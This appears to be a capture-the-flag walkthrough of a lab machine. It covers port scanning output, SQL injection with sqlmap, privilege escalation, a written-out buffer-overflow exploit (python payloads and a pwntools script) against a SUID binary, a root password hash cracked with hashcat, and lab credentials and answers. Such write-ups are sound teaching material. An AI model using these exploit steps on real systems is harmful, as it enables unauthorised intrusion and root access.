The Cod Caper
Intro
Hello there my name is Pingu. I've come here to put in a request to get my fish back! My dad recently banned me from eating fish, as I wasn't eating my vegetables. He locked all the fish in a chest, and hid the key on my old pc, that he recently repurposed into a server. As all penguins are natural experts in penetration testing, I figured I could get the key myself! Unfortunately he banned every IP from Antarctica, so I am unable to do anything to the server. Therefore I call upon you my dear ally to help me get my fish back! Naturally I'll be guiding you through the process.
Note: This room expects some basic pen testing knowledge, as I will not be going over every tool in detail that is used. While you can just use the room to follow through, some interest or experiencing in assembly is highly recommended
Host Enumeration
The first step is to see what ports and services are running on the target machine.
Recommended Tool - nmap:
Useful flags:
-p
Used to specify which port to analyze, can also be used to specify a range of ports i.e -p 1-1000
-sC
Runs default scripts on the port, useful for doing basic analysis on the service running on a port
-A
Aggressive mode, go all out and try to get as much information as possible
Answer the questions below
┌──(kali㉿kali)-[~]
└─$ rustscan -a 10.10.181.221 --ulimit 5500 -b 65535 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Real hackers hack time ⌛
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5500.
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
Open 10.10.181.221:22
Open 10.10.181.221:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-26 20:50 EST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
Initiating Ping Scan at 20:50
Scanning 10.10.181.221 [2 ports]
Completed Ping Scan at 20:50, 0.20s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:50
Completed Parallel DNS resolution of 1 host. at 20:50, 0.02s elapsed
DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 20:50
Scanning 10.10.181.221 [2 ports]
Discovered open port 80/tcp on 10.10.181.221
Discovered open port 22/tcp on 10.10.181.221
Completed Connect Scan at 20:50, 0.20s elapsed (2 total ports)
Initiating Service scan at 20:50
Scanning 2 services on 10.10.181.221
Completed Service scan at 20:50, 6.51s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.181.221.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 5.71s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.81s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
Nmap scan report for 10.10.181.221
Host is up, received syn-ack (0.20s latency).
Scanned at 2022-12-26 20:50:39 EST for 13s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6d2c401b6c157cfcbf9b5522612a56fc (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDs2k31WKwi9eUwlvpMuWNMzFjChpDu4IcM3k6VLyq3IEnYuZl2lL/dMWVGCKPfnJ1yv2IZVk1KXha7nSIR4yxExRDx7Ybi7ryLUP/XTrLtBwdtJZB7k48EuS8okvYLk4ppG1MRvrVojNPprF4nh5S0EEOowqGoiHUnGWOzYSgvaLAgvr7ivZxSsFCLqvdmieErVrczCBOqDOcPH9ZD/q6WalyHMccZWVL3Gk5NmHPaYDd9ozVHCMHLq7brYxKrUcoOtDhX7btNamf+PxdH5I9opt6aLCjTTLsBPO2v5qZYPm1Rod64nysurgnEKe+e4ZNbsCvTc1AaYKVC+oguSNmT
| 256 ff893298f4779c0939f5af4a4f08d6f5 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAmpmAEGyFxyUqlKmlCnCeQW4KXOpnSG6SwmjD5tGSoYaz5Fh1SFMNP0/KNZUStQK9KJmz1vLeKI03nLjIR1sho=
| 256 899263e71d2b3aaf6cf939565b557ef9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFBIRpiANvrp1KboZ6vAeOeYL68yOjT0wbxgiavv10kC
80/tcp open http syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.00 seconds
How many ports are open on the target machine?
2
What is the http-title of the web server?
http-title is a default script?
Apache2 Ubuntu Default Page: It works
What version is the ssh service?
OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
What is the version of the web server?
Apache/2.4.18
Web Enumeration
Since the only services running are SSH and Apache, it is safe to assume that we should check out the web server first for possible vulnerabilities. One of the first things to do is to see what pages are available to access on the web server.
Recommended tool: gobuster
Useful flags:
-x
Used to specify file extensions i.e "php,txt,html"
--url
Used to specify which url to enumerate
--wordlist
Used to specify which wordlist that is appended on the url path i.e
"http://url.com/word1"
"http://url.com/word2"
"http://url.com/word3.php"
Recommended wordlist: big.txt
What is the name of the important file on the server?
administrator.php
Web Exploitation
The admin page seems to give us a login form. In situations like this it is always worth it to check for "low-hanging fruit". In the case of login forms one of the first things to check for is SQL Injection.
Recommended Tool: sqlmap
Useful Flags:
-u
Specifies which url to attack
--forms
--dump
Used to retrieve data from the db once SQLI is found
-a
Grabs just about everything from the db
Answer the questions below
What is the admin username?
It is a login form
pingudad
What is the admin password?
secretpass
How many forms of SQLI is the form vulnerable to?
3

Command Execution
It seems we have gained the ability to run commands! Since this is my old PC, I should still have a user account! Let's run a few test commands, and then try to gain access!
Method 1: nc Reverse shell:
This machine has been outfitted with nc, a tool that allows you to make and receive connections and send data. It is one of the most popular tools to get a reverse shell. Some great places to find reverse shell payloads are highoncoffee and Pentestmonkey
After this you will have to do some additional enumeration to find pingu's ssh key, or hidden password
Method 2: Hidden passwords:
Assuming my father hasn't modified since he took over my old PC, I should still have my hidden password stored somewhere,I don't recall though so you'll have to find it! find is the recommended tool here as it allows you to search for which files a user specifically owns.
Answer the questions below
How many files are in the current directory?
3
Do I still have an account
Check /etc/passwd
yes
What is my ssh password?
pinguapingu
LinEnum
LinEnum is a bash script that searches for possible ways to priv esc. It is incredibly popular due to the sheer amount of possible methods that it checks for, and often times Linenum is one of the first things to try when you get shell access.
Methods to get Linenum on the system
Method 1: SCP
Since you have ssh access on the machine you can use SCP to copy files over. In the case of Linenum you would run scp {path to linenum} {user}@{host}:{path}. Example: scp /opt/LinEnum.sh pingu@10.10.10.10:/tmp would put LinEnum in /tmp.
Method 2: SimpleHTTPServer
SimpleHTTPServer is a module that hosts a basic webserver on your host machine. Assuming the machine you compromised has a way to remotely download files, you can host LinEnum and download it.
Note: There are numerous ways to do this and the two listed above are just my personal favorites.
Once You have LinEnum on the system, its as simple as running it and looking at the output above once it finishes.
Answer the questions below
What is the interesting path of the interesting suid file
/opt/secret/root
pwndbg
Luckily for us I was able to snag a copy of the source code from my dad's flash drive
The SUID file seems to expect 32 characters of input, and then immediately exits. This seems to warrant further investigation. Luckily I was practicing binary exploitation back when I was using that PC, so I have tools preinstalled to examine. One of those tools is pwndbg, a plugin for GDB which allows you to better examine binary files.
Run gdb /opt/secret/root and you should see a screen similar to this

This means that pwndbg has successfully been initialized. The next step is to test if anything happens when you send more then 32 characters. To do this type r < <(cyclic 50), that command runs the program and provides 50 characters worth of "cyclic" input.
Cyclic input goes like this: "aaaaaaaabaaacaaadaaaeaaaf" etc. Because it's in this "cyclic" format, it allows us to better understand the control we have over certain registers, for reasons you are about to see.
Once you run that command you should see something similar to this screen

Now this is where some knowledge of assembly helps. It seems that in this case we're able to overwrite EIP, which is known as the instruction pointer. The instruction pointer tells the program which bit of memory to execute next, which in an ideal case would have the program run normally. However, since we're able to overwrite it, we can theoretically execute any part of the program at any time.
Recall the shell function from the source code, if we can overwrite EIP to point to the shell function, we can cause it to execute. This is also where the benefits of cyclic input show themselves. Recall that cyclic input goes in 4 character/byte sequences, meaning we're able to calculate exactly how many characters we need to provide before we can overwrite EIP.
Luckily cyclic provides this functionality with the -l flag, running cyclic -l {fault address} will tell us exactly how many characters we need to provide we can overwrite EIP.
Running cyclic -l 0x6161616c outputs 44, meaning we can overwrite EIP once we provide 44 characters of input.
That's all we needed for pre-explotation!
Answer the questions below
Read the above :)
Binary-Exploitaion: Manually
Previously we figured out that we need to provide 44 characters of input, and then we can execute whatever part of the program we want. Now the next step is to find out exactly where the shell function is in memory so we know what to set EIP to. GDB supports this as well with the disassemble command. Type disassemble shell, and this should pop up.

What we're interested in is the hex memory addresses. So from what we know all we have to do is provide 44 characters, and then "0x080484cb" and the shell function should execute, let's try it!
Note: Modern CPU architectures are "little endian" meaning bytes are backwards. For example "0x080484cb" would become "cb840408"
We can use python to do this, as it allows a nice way of converting.
Method 1 - Manual conversion:
python -c 'print "A"*44 + "\xcb\x84\x04\x08"' will output the payload we want, but it requires manually converting to little endian
Method 2 - Struct:
python -c 'import struct;print "A"*44 + struct.pack("<I",0x080484cb)'
It requires importing a module but struct.pack allows us to automatically convert memory to little endian.
We print 44 random characters(in this case A) and then our memory address in little endian, and shell should execute. This can be tested by piping the output in to the binary
python -c 'print "A"*44 + "\xcb\x84\x04\x08"' | /opt/secret/rootshould provide you with this output.

We did it!
Answer the questions below
Woohoo!
Binary Exploitation: The pwntools way
Pwntools is a python library dedicated to making everything we just did in the last task much simpler. However, since it is a library, it requires python knowledge to use to it's full potential, and as such everything in this task will be done using a python script.
We start off the script with:
from pwn import * proc = process('/opt/secret/root')
This imports all the utilities from the pwntools library so we can use them in our script, and then creates a process that we can interact with using pwntools functions.
We know that we need the memory address of the shell function, and pwntools provides a way to obtain that with ELF().
ELF allows us to get various memory addresses of important points in our binary, including the memory address of the shell function.
With the ELF addition our script becomes
from pwn import * proc = process('/opt/secret/root') elf = ELF('/opt/secret/root') shell_func = elf.symbols.shell
shell_func holds the memory address of our shell function. Now we need a way to form the payload, luckily pwntools has that to with fit().
fit allows us to form a payload by combining characters and our memory address. To send the payload we can use a method in our proc variable, proc.sendline(), which just sends whatever data we want to the binary. Finally we can use proc.interactive(), to view the full output of the process.
With all that our final exploit script becomes
from pwn import * proc = process('/opt/secret/root') elf = ELF('/opt/secret/root') shell_func = elf.symbols.shell payload = fit({ 44: shell_func # this adds the value of shell_func after 44 characters }) proc.sendline(payload) proc.interactive()
Save that to a .py file and run it, and you should get this output:

We did it again!
Answer the questions below
Even more woohoo!
Finishing the job
Now that we have the password hashes, we can crack them and get the root password! Recall from the previous outputs that our root password hash is "$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.".
Luckily hashcat supports cracking linux password hashes. You can find a list of hashcat modes here and rockyou.txt(a popular wordlist) here (if you don't already have it on your system)
Recommended tool - Hashcat:
Usage: hashcat {flags} {hashfile} {wordlist}
Useful flags:
-a
Specify attack mode,attack modes can be found in the man page.
-m
Specifies which mode to use, refer back to the list of modes
Answer the questions below
What is the root password!
love2fish
Thank you!
Now that I have the root password, I can get any fish he attempts to hide from me :).

Further reading:
http://docs.pwntools.com/en/stable/
https://browserpwndbg.readthedocs.io/en/docs/
Answer the questions below
You helped me out!
[[Neighbour]]
Last updated
Was this helpful?